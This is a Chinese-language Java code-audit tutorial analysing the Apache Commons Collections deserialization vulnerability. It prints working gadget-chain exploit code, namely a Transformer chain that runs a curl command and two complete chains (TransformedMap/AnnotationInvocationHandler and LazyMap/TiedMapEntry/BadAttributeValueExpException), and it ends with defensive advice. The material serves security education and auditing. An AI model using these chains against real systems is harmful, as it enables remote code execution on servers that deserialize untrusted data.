从零开始java代码审计系列(一)
字数 1095 2025-08-29 08:32:09
Java代码审计:Apache Commons Collections反序列化漏洞分析
一、漏洞概述
Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的工具类和数据结构实现。该库在3.1-3.2.1版本中存在反序列化漏洞,攻击者可以通过构造特殊的序列化数据,在目标系统上执行任意代码。
二、漏洞原理分析
1. 核心漏洞点
漏洞的核心在于InvokerTransformer类的transform方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
该方法通过反射调用任意方法,当攻击者能够控制iMethodName、iParamTypes和iArgs参数时,就可以执行任意代码。
2. 调用链构造
单独使用InvokerTransformer不足以实现RCE,需要结合其他类构造调用链:
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
这段代码相当于执行了以下Java代码:
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("curl http://127.0.0.1:10000")
3. 序列化问题解决
直接序列化Runtime.getRuntime()会失败,因为Runtime类不可序列化。解决方案是通过反射链动态获取Runtime实例:
new ConstantTransformer(Runtime.class), // 获取Runtime.class对象
new InvokerTransformer("getMethod", ...), // 获取getMethod方法
new InvokerTransformer("invoke", ...), // 调用getRuntime方法获取Runtime实例
new InvokerTransformer("exec", ...) // 执行命令
三、攻击链分析
攻击链一:TransformedMap + AnnotationInvocationHandler (JDK < 1.7)
- TransformedMap触发点
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
通过TransformedMap.decorate()可以控制valueTransformer:
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
- AnnotationInvocationHandler触发
在JDK < 1.7中,AnnotationInvocationHandler的readObject方法会操作Map:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// ...
memberValue.setValue(...);
}
}
- 完整利用代码
Map map = new HashMap();
map.put("value", "2"); // key必须为"value"
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
// 序列化和反序列化触发
攻击链二:LazyMap + TiedMapEntry + BadAttributeValueExpException (JDK >= 1.8)
- LazyMap触发点
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
- TiedMapEntry触发toString
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
- BadAttributeValueExpException触发readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// ...
val = valObj.toString(); // 触发toString
}
- 完整利用代码
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException ins = new BadAttributeValueExpException(null);
Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);
// 序列化和反序列化触发
四、防御措施
- 升级Apache Commons Collections到3.2.2或更高版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
- 使用安全管理器限制危险操作
五、总结
Apache Commons Collections反序列化漏洞展示了Java反序列化攻击的典型模式:
- 利用可序列化的危险类构造调用链
- 通过反射机制绕过限制执行任意代码
- 寻找合适的触发点自动执行恶意代码
理解这个漏洞有助于提高Java代码审计能力,特别是对反序列化操作的安全意识。